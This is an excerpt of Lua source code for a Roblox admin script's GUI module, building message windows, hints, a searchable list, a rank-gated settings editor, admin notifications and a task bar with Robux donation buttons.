4019 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4020
4021 if Frame then
4022 local FormBar = Frame.Parent.Parent.FormBar
4023 local Said = false
4024 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4025 if Settings.EnableTaskBar then
4026 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4027 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4028 else
4029 Speak.Position = UDim2.new(1, -58, 0, 5)
4030 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4031 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4032 end
4033 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4034 if not Said then
4035 Said = true
4036 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4037 end
4038 end)
4039
4040 if TextColor then
4041 Body.TextColor3 = TextColor
4042 else
4043 Body.TextColor3 = Color3.new(1,1,1)
4044 end
4045
4046 if tonumber(Time) then coroutine.wrap(function()
4047 if AutoTime then
4048 Time = Time + math.floor(#BodyText/7)
4049 end
4050 local Alive = true
4051
4052 local function StopTimer() Alive = false end
4053 Closed.Event:connect(StopTimer)
4054 Minimized.Event:connect(StopTimer)
4055
4056 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4057 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4058 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4059 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4060 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4061 for i = Time,0,-1 do
4062 for ii = 1,10 do
4063 if Alive == true then
4064 Ticker.Text = i
4065 wait(0.1)
4066 else
4067 break
4068 end
4069 end
4070 end
4071 if Alive == true then
4072 Close:Invoke()
4073 else
4074 Ticker:Destroy()
4075 Stop:Destroy()
4076 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4077 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4078 end
4079 end)() end
4080
4081 CORE:ExecuteResource("CalculateScrollY", Body)
4082 end
4083end
4084
4085function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4086 if not Player then return nil end
4087 if not Player:IsA("Player") then return nil end
4088 if BodyText == "" then return nil end
4089 if not Player:FindFirstChild("PlayerGui") then return nil end
4090 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4091 local TextColor = GUI:ContrastColor()
4092 if Error then TextColor = Color3.new(1,0,0) end
4093
4094 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4095 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4096
4097 CORE:ExecuteResource("CalculateScrollY", Body)
4098
4099 return Frame, Close, Closed, Minimize, Minimized
4100end
4101
4102function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4103 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4104 local TweenTime = 0.5
4105 if not Time then Time = 5 end
4106 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4107 local MaxPos = -1
4108 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4109 local IVal = SGObj:FindFirstChild("Index")
4110 if IVal then
4111 MaxPos = math.max(MaxPos, IVal.Value)
4112 end
4113 end
4114 MaxPos = MaxPos + 1
4115 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4116 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4117 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4118 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4119 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4120 SG.Parent = Player.PlayerGui
4121
4122 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4123 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4124
4125 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4126 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4127 Delay(TweenTime, function()
4128 for i = 1,0,-0.1 do
4129 Body.TextTransparency = i
4130 wait()
4131 end
4132 Body.TextTransparency = 0
4133 end)
4134 Delay(TweenTime + Time, function()
4135 for i = 0,1,0.1 do
4136 Body.TextTransparency = i
4137 wait()
4138 end
4139 Body.TextTransparency = 1
4140 local Done = false
4141 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4142 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4143 end)
4144
4145end)() end
4146
4147function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4148 if not Player then return nil end
4149 if not Player:FindFirstChild("PlayerGui") then return nil end
4150 if not PreSearch then PreSearch = "" end
4151 if AutoNumber == nil then AutoNumber = true end
4152
4153 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4154 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4155 SearchBar.Parent = Frame.Parent
4156 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4157 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4158
4159 local SearchVer = 0,nil
4160 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4161 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4162 local InDialog = false
4163
4164 local function ShowResults(Key)
4165 SearchVer = SearchVer + 1
4166 local ThisSearchVer = SearchVer
4167
4168 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4169 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4170
4171 local NumPos,Num = 0,1
4172
4173 for _,Data in pairs(List) do
4174 if ThisSearchVer ~= SearchVer then
4175 break
4176 end
4177 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4178 if String then
4179 local ImageIcon = nil
4180 if type(Data) == "table" then
4181 String = Data[1]
4182 ImageIcon = Data[2]
4183 end
4184
4185 local TextColor = GUI:ContrastColor()
4186 local StringSplit = STRING:GetSplit(String, 1, " ")
4187 local NewColor = GUI:GetColor(StringSplit[1])
4188 if NewColor then TextColor = NewColor String = StringSplit[2] end
4189
4190 if string.find(string.lower(String), string.lower(Key)) then
4191 Spacer = false
4192 local Font = Settings.Font
4193 local Split = STRING:GetSplit(String, 1, " ")
4194 if string.sub(string.lower(String),1,6) == "bold: " then
4195 Font = "ArialBold"
4196 String = string.sub(String,7)
4197 elseif Fonts[Split[1]] then
4198 Font = Split[1]
4199 String = Split[2]
4200 end
4201 if string.sub(String,1,2) == "--" then
4202 Spacer = true
4203 end
4204 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4205 if ImageIcon then
4206 if tonumber(ImageIcon) then
4207 ImageIcon = "rbxassetid://"..ImageIcon
4208 elseif Icons[ImageIcon] then
4209 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4210 end
4211
4212 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4213 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4214 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4215 Content.Text = ""
4216 NumPos = NumPos + 90
4217 else
4218 NumPos = NumPos + 30
4219 end
4220
4221 if not Clickable then
4222 Content.AutoButtonColor = false
4223 Content.Active = false
4224 Content.BackgroundTransparency = 1
4225 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4226 SOUND:BindButton(Content)
4227 CORE:HandleEvent(Content, "MouseButton1Down", function()
4228 if not InDialog then
4229 Clicked:Fire(String)
4230 end
4231 end, true)
4232 end
4233 if Spacer == false then Num = Num + 1 end
4234 end
4235 end
4236 end
4237 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4238 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4239 end
4240
4241 RequestDialog.OnInvoke = function(RequestDialogCall)
4242 InDialog = RequestDialogCall
4243 end
4244
4245 ShowResults(PreSearch)
4246
4247 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4248 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4249 if Prop == "Text" then
4250 local Text = CORE:ReadProperty(RPR, Player, "Text")
4251 ShowResults(Text)
4252 Frame.CanvasPosition = Vector2.new(0,0)
4253 end
4254 end)
4255
4256 return Clicked, RequestDialog, Close
4257end
4258
4259function GUI:PropertyGui(Player, Title, Icon, Properties)
4260 if not Player then return nil end
4261 if not Player:FindFirstChild("PlayerGui") then return nil end
4262 if type(Properties) ~= "table" then return nil end
4263 local HasClosed = false
4264 local NewProperties = {}
4265
4266 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4267 Frame.ClipsDescendants = true
4268 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4269
4270 for PropertyName,Data in pairs(Properties) do
4271 NewProperties[PropertyName] = Data[1]
4272 end
4273
4274 local YCount = 0
4275
4276 for PropertyName,Data in pairs(Properties) do
4277 if type(Data) == "table" then
4278 local DefaultValue = Data[1]
4279 local Writable = Data[2]
4280 local ValueType = Data[3]
4281
4282 if Writable == nil then Writable = false end
4283 if type(ValueType) == "string" then -- now this is confusing
4284 ValueType = string.lower(ValueType)
4285 elseif ValueType == nil then
4286 ValueType = type(DefaultValue)
4287 end
4288
4289 if ValueType == "nil" or ValueType == "userdata" then
4290 ValueType = nil
4291 elseif ValueType == "table" then
4292 DefaultValue = STRING:UnpackArgs(DefaultValue)
4293 ValueType = "string"
4294 end
4295
4296 if ValueType then
4297 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4298 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4299 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4300
4301 if ValueType == "string" or ValueType == "number" then
4302 if Writable == true then
4303 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4304 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4305 if ValueType == "number" then
4306 NewProperties[PropertyName] = tonumber(Input.Text)
4307 else
4308 NewProperties[PropertyName] = tostring(Input.Text)
4309 end
4310 end end)
4311 else
4312 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4313 end
4314 end
4315 if ValueType == "boolean" then
4316 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4317 if DefaultValue == true then
4318 Check.Image = "rbxassetid://48138491"
4319 end
4320 if Writable == true then
4321 CORE:HandleEvent(Check, "MouseButton1Down", function()
4322 local NewVal = not NewProperties[PropertyName]
4323 NewProperties[PropertyName] = NewVal
4324 if NewVal == true then
4325 Check.Image = "rbxassetid://48138491"
4326 else
4327 Check.Image = "rbxassetid://48138474"
4328 end
4329 end)
4330 else
4331 Check.ImageTransparency = 0.5
4332 end
4333 end
4334 YCount = YCount + 50
4335 end
4336 end
4337 end
4338
4339 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4340
4341 Closed.Event:connect(function() HasClosed = true end)
4342
4343 repeat wait(0.1) until HasClosed
4344 return NewProperties
4345end
4346
4347function GUI:SettingsGui(Player)
4348 if not Player then return nil end
4349 local CloneViewSettings,CanChange = {},false
4350
4351 local ViewSettings = {
4352 ["Version"] = {CORE.Version.Value, false, nil};
4353 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4354 ["Font"] = {Settings.Font, 3, "Font"};
4355 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4356 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4357 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4358 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4359 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4360 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4361 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4362 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4363 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4364 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4365 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4366 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4367 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4368 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4369 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4370 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4371 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4372 ["Bet"] = {Settings.Bet, 3, "Bet"};
4373 }
4374
4375 local _,RankNum = RANK:GetRank(Player)
4376 if RankNum >= 3 then
4377 CanChange = true
4378 end
4379
4380 for Prop,Data in pairs(ViewSettings) do
4381 local Writable = false
4382 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4383 CloneViewSettings[Prop] = {Data[1], Writable}
4384 end
4385
4386 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4387 if CanChange then
4388 for Prop,Data in pairs(ViewSettings) do
4389 if Data[3] then
4390 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4391 end
4392 end
4393 CORE:FixSettings()
4394 end
4395end
4396
4397function GUI:MessageAdmins(TitleText, BodyText, Icon)
4398 for _,Player in pairs(Server.Players:GetPlayers()) do
4399 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4400 if PlayerAdmin then
4401 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4402 end
4403 end
4404end
4405
4406function GUI:TellAdmin(Player)
4407 if not Player then return end
4408
4409 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4410 if ValidAdmin == true then
4411 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4412 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4413 local SoundID = 237866523
4414 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4415 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4416 Sound:Play()
4417 coroutine.wrap(function()
4418 wait(4)
4419 Sound:Stop()
4420 Sound:Destroy()
4421 end)()
4422 end
4423 end
4424end
4425
4426function GUI:TellNotAdmin(Player)
4427 if not Player then return end
4428
4429 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4430end
4431
4432function GUI:CreateTaskBar(Player)
4433 if not Player then return nil end
4434 if Settings.EnableTaskBar == false then return nil end
4435 Player:WaitForChild("PlayerGui")
4436 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4437 if SG then SG:Destroy() end
4438 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4439 local IsMoving = false
4440 local TaskBarShown = false
4441 local Tasks = {}
4442
4443 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4444 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4445
4446 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4447 local Open,CloseForm = false,nil
4448 if Settings.EnableAdminMenu then
4449 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4450 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4451 if Open == false then
4452 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4453 Open,CloseForm = true,Close
4454
4455 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4456 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4457 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4458 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4459 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4460 local function DonateMoney(Type, Element)
4461 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4462 local Get = Request[Type]
4463 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4464 Server.MPS:PromptPurchase(Player, Get[1], true)
4465 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4466 Server.MPS:PromptPurchase(Player, Get[2], true)
4467 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4468 Server.MPS:PromptPurchase(Player, Get[3], true)
4469 else
4470 Element.Text = "Cannot get request"
4471 end
4472 end
4473 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4474 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4475 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4476 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4477 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4478 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4479
4480 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4481
4482 if Closed then
4483 Closed.Event:connect(function()
4484 Open = false
4485 end)
4486 end
4487 else
4488 CloseForm:Invoke()
4489 end
4490 end) end)()
4491 if RANK:GetRank(Player) == "Owner" then
4492 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4493 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4494 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4495 if HUDSG then
4496 HUDSG:Destroy()
4497 else
4498 GUI:CreateHUD(Player)
4499 end
4500 end)
4501 end
4502 end
4503
4504 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4505 if IsMoving == false then
4506 if TaskBarShown == true then
4507 TaskBarShown = false
4508 IsMoving = true
4509 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4510 else
4511 TaskBarShown = true
4512 IsMoving = true
4513 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4514 end
4515 end
4516 end)
4517
4518 local function ReloadIcons()
4519 for Num,Data in pairs(Tasks) do
4520 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4521 end
4522 end
4523
4524 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4525 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4526 table.insert(Tasks, {Form, Icon})
4527 local CanClick = true
4528 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4529 if Form.IsActive.Value == false then
4530 Restore:Invoke()
4531 elseif CanClick == true then
4532 coroutine.wrap(function()
4533 CanClick = false
4534 local DefPos = Form.Dragger.Position
4535 for i = 1,15 do
4536 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4537 wait(0.05)
4538 end
4539 Form.Dragger.Position = DefPos
4540 CanClick = true
4541 end)()
4542 end
4543 end)
4544 ReloadIcons()
4545
4546 Closed.Event:connect(function()
4547 for Num,Data in pairs(Tasks) do
4548 if Data[1] == Form then
4549 Icon:Destroy()
4550 table.remove(Tasks, Num)
4551 end
4552 end
4553 ReloadIcons()
4554 end)
4555 end)
4556end
4557
